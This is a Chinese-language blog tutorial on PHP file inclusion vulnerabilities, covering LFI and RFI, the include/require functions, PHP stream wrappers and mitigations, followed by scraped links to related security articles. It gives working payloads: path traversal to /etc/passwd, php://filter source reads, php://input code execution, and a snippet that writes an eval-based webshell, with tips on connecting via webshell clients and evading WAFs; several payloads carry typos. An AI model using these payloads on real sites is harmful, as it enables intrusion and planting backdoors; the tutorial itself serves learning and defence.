文件包含的漏洞、原理、利用

2023-11-15

最近的总结都比较简单,但不是在水,只是在我学习过程中总结的觉得真的有用的知识,还有就是有些代码发不出来我也没办法,所以就有所调整。

文件包含原理是啥?
文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,
就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,
此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

讲讲文件包含的两种类型呢?
本地文件包含LFI(local file include)当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(remote file include)当被包含的文件在第三方服务器时,叫做远程文件包含。
远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,
由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

PHP进行文件包含的四种函数讲讲?
PHP中提供了四个文件包含的函数,分别是include()、include_once()、require()和require_once()。
这四个函数都可以进行文件包含,但作用并不一样。

  • include:找不到被包含的文件时只会产生警告,脚本将继续执行。
  • include_once:和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
  • require:找不到被包含的文件时会产生致命错误,并停止脚本。
  • require_once:和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

文件包含有哪些特征?
?page=a.php
?home=b.html
?file=content

说说文件包含的常见检测呢?
?file=…/…/…/…/etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/…/…/…/…/dir/file.txt

讲讲怎样利用文件包含?
思路:
制作一个图片马,通过文件上传漏洞上传;
通过文件包含漏洞对该图片马进行“包含”;
获取执行结果

一、 读取敏感文件
我们可以利用文件包含漏洞,读取任意文件,读取文件的时候有利用条件
① 目标主机文件存在(目标文件的绝对路径和相对路径);
② 具有文件可读权限
提交参数?path=c:\windows\System32\drivers\etc\hosts读取本地host文件
?path=…\windows\System 32\drivers\etc\hosts x先返回到最上级目录即根目录er

二、 直接包含图片木马
可以利用文件包含漏洞直接包含图片木马,直接包含图片木马?path=pngYjh.png 然后使用蚁剑或者中国菜刀连接

三、包含木马写shell
可以将以下代码写入图片中

<?php fputs (fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>')

?>
代码含义是:在当前目录下创建一个名为shell.php的文件,内容是<?php @eval(\$_REQUEAT['cmd'])?>

四、PHP封装协议——传输PHP文件
?path=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可

五、 PHP封装协议——访问本地文件
使用PHP的file协议访问本地系统文件,提交参数
?path=php://c:\windows\System32\drivers\etc\hosts

六、PHP封装协议——执行PHP命令
PHP伪协议(文件包含漏洞常用的利用方法)
PHP协议因为自定义的,所以被称为伪协议。PHP伪协议实际上是PHP所支持的协议与封装协议,共12种。
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs【文件传输协议】
php:// — 访问各个输入/输出流(I/O streams)
zip:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

下面着重写几种常用的协议
一、php://——访问各个输入/输出流
使用条件:不需要开启allow_url_fopen,仅php://input、php://stdin、php://memory 和 php://temp 需要开启allow_url_include且打开危害较大,
需要慎重;php://访问各个输入输入、输出流,在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
php://filter在php.ini配置下,allow_url_fopen和allow_url_include双off情况下也可以使用。
?file=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可
?file=php://filter/convert.base64-encode/resource=index.php //或去掉read

php://input可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
php.ini配置中allow_url_fopen :off/on ;allow_url_include:on
POST : <?php phpinfo()?>

也可以POST如下内容生成一句话:

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');

?> //包含木马写shell
代码含义是:在当前目录下创建一个名为shell.php的文件,内容是<?php @eval(\$_REQUEAT['cmd'])?>

二、file://——访问本地文件系统
用于访问本地文件系统,在CTF中通常用来读取本地文件且不受allow_url_fopen和allow_url_include控制。
?file=file://[文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file:///etc/passwd

三、zip://——访问压缩流
压缩流,访问压缩文件的子文件,不受allow_url_fopen和allow_url_include控制。
?file=zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
http://127.0.0.1/cmd.php?file=zip:///var/www/html/shell.zip#shell.php
用法:将写好的一句话木马压缩为zip上传,然后使用zip协议访问,即可绕过waf访问一句话木马,zip协议只支持绝对路径。

四、phar://——PHP归档
访问phar文件,phar文件本质上也是压缩文件,不受allow_url_fopen和allow_url_include控制。
?file=phar://[压缩文件绝对路径/相对路径[压缩文件子文件名]
与zip协议的区别在于phar协议可以可以使用相对路径,但它本身可引起反序列化漏洞。

五、data://——数据流
php.ini的配置:
allow_url_fopen :on
allow_url_include:on

六、http://——访问 HTTP(s) 网址
php.ini的配置:
allow_url_fopen :on
allow_url_include:on
http://192.168.1.1/cmd.php?file=https://www.baidu.com //即显示百度主页
涉及远程文件包含,参考上面的远程文件包含漏洞演示。
文件包含漏洞的防范措施
在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作;
过滤…/…/,http://,https://
配置php.ini配置文件:
allow_url_fopen=off //不管开不开,本次文件包含都存在
Allow_url_include=off //远程文件包含漏洞时需要打开,打开时需要慎重,危害很大
magic_quotes_gpc=on
无需情况下设置allow_url_include和allow_url_fopen为关闭
通过白名单策略,仅允许包含运行指定的文件,其他的都禁止
建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,
包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

文件包含的漏洞、原理、利用 的相关文章

  • 网络安全从入门到精通(超详细)学习路线

    首先看一下学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想
  • 通过一个寒假能学会黑客技术吗?看完你就知道了

    一个寒假能成为黑客吗 资深白帽子来告诉你 如果你想的是学完去美国五角大楼内网随意溜达几圈 想顺走一点机密文件的话 劝你还是趁早放弃 但是成为一名初级黑客还是绰绰有余的 你只需要掌握好渗透测试 Web安全 数据库 搞懂web安全防护 SQL注
  • 盘点那些年我们一起玩过的网络安全工具

    大家好 我是IT共享者 这篇文章给大家盘点那些年 我们一起玩过的网络安全工具 一 反恶意代码软件 1 Malwarebytes 这是一个检测和删除恶意的软件 包括蠕虫 后门 流氓 拨号器 间谍软件等等 快如闪电的扫描速度 具有隔离功能 并让
  • 适用于任何公司的网络安全架构

    1 第一等级 基础级 优势 可防范基本有针对性的攻击 使攻击者难以在网络上推进 将生产环境与企业环境进行基本隔离 劣势 默认的企业网络应被视为潜在受损 普通员工的工作站以及管理员的工作站可能受到潜在威胁 因为它们在生产网络中具有基本和管理员
  • 一个寒假能学会黑客技术吗?看完你就知道了

    一个寒假能成为黑客吗 资深白帽子来告诉你 如果你想的是学完去美国五角大楼内网随意溜达几圈 想顺走一点机密文件的话 劝你还是趁早放弃 但是成为一名初级黑客还是绰绰有余的 你只需要掌握好渗透测试 Web安全 数据库 搞懂web安全防护 SQL注
  • The Planets:Venus

    靶场下载 The Planets Venus VulnHub 信息收集 arp scan l Interface eth0 type EN10MB MAC 00 0c 29 43 7c b1 IPv4 192 168 1 60 Starti
  • 【CTF必看】从零开始的CTF学习路线(超详细),让你从小白进阶成大神!

    最近很多朋友在后台私信我 问应该怎么入门CTF 个人认为入门CTF之前大家应该先了解到底 什么是CTF 而你 学CTF的目的又到底是什么 其次便是最好具备相应的编程能力 若是完全不具备这些能力极有可能直接被劝退 毕竟比赛的时候动不动写个脚本
  • 5个步骤,教你瞬间明白线程和线程安全

    记得今年3月份刚来杭州面试的时候 有一家公司的技术总监问了我这样一个问题 你来说说有哪些线程安全的类 我心里一想 这我早都背好了 稀里哗啦说了一大堆 他又接着问 那你再来说说什么是线程安全 然后我就GG了 说真的 我们整天说线程安全 但是对
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • 前端必备的 web 安全知识手记

    前言 安全这种东西就是不发生则已 一发生则惊人 作为前端 平时对这方面的知识没啥研究 最近了解了下 特此沉淀 文章内容包括以下几个典型的 web 安全知识点 XSS CSRF 点击劫持 SQL 注入和上传问题等 下文以小王代指攻击者 话不多
  • 用户数据中的幸存者偏差

    幸存者偏差 Survivorship bias 是一种常见的逻辑谬误 意思是没有考虑到筛选的过程 忽略了被筛选掉的关键信息 只看到经过筛选后而产生的结果 先讲个故事 二战时 无奈德国空防强大 盟军战机损毁严重 于是军方便找来科学家统计飞机受
  • 白帽子如何快速挖到人生的第一个漏洞 | 购物站点挖掘商城漏洞

    本文针对人群 很多朋友们接触安全都是通过书籍 网上流传的PDF 亦或是通过论坛里的文章 但可能经过了这样一段时间的学习 了解了一些常见漏洞的原理之后 对于漏洞挖掘还不是很清楚 甚至不明白如何下手 可能你通过 sql labs 初步掌握了sq
  • 200道网络安全常见面试题合集(附答案解析+配套资料)

    有不少小伙伴面临跳槽或者找工作 本文总结了常见的安全岗位面试题 方便各位复习 祝各位事业顺利 财运亨通 在网络安全的道路上越走越远 所有的资料都整理成了PDF 面试题和答案将会持续更新 因为无论如何也不可能覆盖所有的面试题 php爆绝对路径
  • 远程控制软件安全吗?一文看懂ToDesk、RayLink、TeamViewer、Splashtop相关安全机制_raylink todesk

    目录 一 前言 二 远程控制中的安全威胁 三 国内外远控软件安全机制 ToDesk RayLink Teamviewer Splashtop 四 安全远控预防 一 前言 近期 远程控制话题再一次引起关注 据相关新闻报道 不少不法分子利用远程
  • 【网络安全】Facebook代码执行实现命令执行、敏感信息泄露

    部分网站开设编码练习 若安全配置不当 则代码执行将升级为操作系统命令注入 导致敏感信息泄露 本文仅分享命令执行相关知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 未经许可 不可转载 文章目录 信息泄露 扩大危害 信息
  • 【网安神器篇】——WPScan漏洞扫描工具

    目录 一 Wordpress简介 二 WPScan介绍 三 安装 四 获取token 1 注册账号 2 拿到token 五 使用教程 1 常用选项 2 组合命令 1 模糊扫描 2 指定扫描用户 3 插件漏洞扫描 4 主题漏洞扫描 5 Tim
  • 小白入门黑客之渗透测试(超详细)基本流程(内附工具)

    经常会收到小伙伴们这样的私信 为什么我总是挖不到漏洞呢 渗透到底是什么样的流程呢 所以全网最详细的渗透测试流程来了 渗透测试其实就是通过一些手段来找到网站 APP 网络服务 软件 服务器等网络设备和应用的漏洞 告诉管理员有哪些漏洞 怎么填补
  • 网络安全基础知识面试题库

    1 基于路由器的攻击手段 1 1 源IP地址欺骗式攻击 入侵者从外部传输一个伪装成来自内部主机的数据包 数据包的IP是 内网的合法IP 对策 丢弃所有来自路由器外端口 却使用内部源地址的数据包 1 2 源路由攻击 入侵者让数据包循着一个不可
  • 【网络安全】——区块链安全和共识机制

    区块链安全和共识机制 摘要 区块链技术作为一种分布式去中心化的技术 在无需第三方的情况下 使得未建立信任的交易双方可以达成交易 因此 区块链技术近年来也在金融 医疗 能源等多个行业得到了快速发展 然而 区块链为无信任的网络提供保障的同时 也
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作

随机推荐

  • 都说C++难,那是没有学习数据结构【单链表】

    单链表 可有可无的目录 前言 一 链表是什么 链表的分类 二 链表的实现 总结 前言 上篇顺序表结尾了解了顺序表的诸多缺点 链表的特性很好的解决了这些问题 本期我们来认识单链表 一 链表是什么 链表是一种物理存储结构上非连续 非顺序的存储结
  • Latex 表格内文字过长自动换行

    法一 plain view plain copy begin tabular m 5cm 法二 plain view plain copy begin tabular p 0 9 columnwidth 法三 multirow 宏包 pla
  • 【嵌入式开源库】MultiTimer 的使用,一款可无限扩展的软件定时器

    MultiTimer 简介 下载 使用介绍 工程移植 代码分析 核心代码 实验效果 总结 简介 MultiTimer 是一个软件定时器扩展模块 可无限扩展你所需的定时器任务 取代传统的标志位判断方式 更优雅更便捷地管理程序的时间触发时序 M
  • UVA437 The Tower of Babylon

    UVA437 The Tower of Babylon 题目链接 动态规划 题目 有n n 30 种立方体 每种都有无穷多个 要求选一些立方体摞成一根尽量高的柱子 可以自行选择哪一条边作为高 使得每个立方体的底面长宽分别严格小于它下方立方体
  • OpenCV(三)——图像分割(一)

    目录 1 图像分割 2 固定阈值法 直方图双峰法 3 自动阈值法 3 1 自适应阈值法
  • AngularJs双向绑定原理

    AngularJs双向绑定 一 什么是AngularJS 二 什么是数据绑定 三 什么是双向绑定 四 双向绑定的实现 一 什么是AngularJS AngularJS是一个JavaScript框架 它诞生于2009年 由Misko Heve
  • ubuntu 20.04 安装 高版本cuda 11.7 和 cudnn最新版

    一 安装显卡驱动 参考另一篇文章 Ubuntu20 04安装Nvidia显卡驱动教程 ytusdc的博客 CSDN博客 二 安装CUDA 英伟达官网 最新版 CUDA Toolkit 12 2 Update 1 Downloads NVID
  • 在 Chrome (谷歌浏览器) 中模拟微信内置浏览器

    原文链接 在 Chrome 谷歌浏览器 中模拟微信内置浏览器 高先生的猫的博客 CSDN博客 chrome模拟微信内置浏览器 1 ios QQ 内置浏览器UA Mozilla 5 0 iPhone CPU iPhone OS 7 1 2 l
  • AndroidQ 获取、设置锁屏密码

    AndroidQ 获取 设置锁屏密码 本文中贴出的源码均为AndroidQ 9 0 源码 如果想要使用需要引入Framework的jar包 LockPatternUtils 说到密码相关的一定要提到LockPatternUtils这个类 它
  • qt中的QT的setWindowFlags的几种属性的总结

    参考博客 https www cnblogs com 132818Creator p 8194603 html 以下是大神博客的原话 setWindowFlags Qt CustomizeWindowHint 设置窗口标题栏自定义 setW
  • Tomcat源码:SocketProcessor、ConnectionHandler与Http11Processor

    前文 Tomcat源码 启动类Bootstrap与Catalina的加载 Tomcat源码 容器的生命周期管理与事件监听 Tomcat源码 StandardServer与StandardService Tomcat源码 Container接
  • I2C接口

    I2C的结构和特点 他是一具有两条总线线路 即一条串行数据线SDA和一条串行时钟线SCL 每个连接到总线上的器件都可以通过唯一的地址联系主机 它是一个真正的多主机总线 数据传输通过冲突检测和仲裁防止数据被破坏 串行的8位双向数据传输位速率更
  • 低秩分解的代码---(CODE) Low-Rank Matrix Recovery

    SAMPLE CODE Robust PCA Matrix Completion Comparison of Algorithms Robust PCA We provide MATLAB packages to solve the RPC
  • xmanager enterprise 5中文破解版下载(附产品密钥)

    xmanager 5破解版是一款功能强大的远程桌面管理软件 广泛用于各种领域的工作 包括大型工艺与半导体和服务器管理设计的IDC 互联网数据中心 大学和公司的服务器管理员与想要通过互联网连接到远程主机的个人用户是这个产品常用群体 xmana
  • centos安装后没有图形化界面

    办法 重新安装 不要选择最小模式 2 连接外网 依次执行安装指令 本人使用第二种方法已经成功 1 yum groupinstall X Window System y 2 yum groupinstall GNOME Desktop 当出现
  • LLMs开源模型们的分布式训练和量化

    前一篇博文整理了 LLMs开源模型们和数据集简介 这篇博文主要整理一下目前流行的训练方法和量化 图自Towards a Unified View of Parameter Efficient Transfer Learning Tuning
  • linux查看服务端口占用情况

    1 netstat命令 查看所有使用的端口 netstat tunlp 参数说明 参数 作用 t 指明显示TCP端口 u 指明显示UDP端口 l 仅显示监听套接字 所谓套接字就是使应用程序能够读写与收发通讯协议 protocol 与资料的程
  • PCL点云处理之批量读写点云、随机赋予颜色 并保存

    include
  • 19级计算机应用技术题库,华东师大计算机应用技术题库.doc

    华东师大计算机应用技术题库 第一章 计算机应用基础知识 一 单选题 1 一般认为 信息 information 是 C A 数据 B 人们关心的事情的消息 C 反映物质及其运动属性及特征的原始事实 D 记录下来的可鉴别的符号 2 信息资源的
  • 文件包含的漏洞、原理、利用

    最近的总结都比较简单 但不是在水 只是在我学习过程中总结的觉得真的有用的知识 还有就是有些代码发不出来我也没办法 所以就有所调整 文件包含原理是啥 文件包含漏洞 即file inclusion 意思是文件包含 是指当服务器开启allow u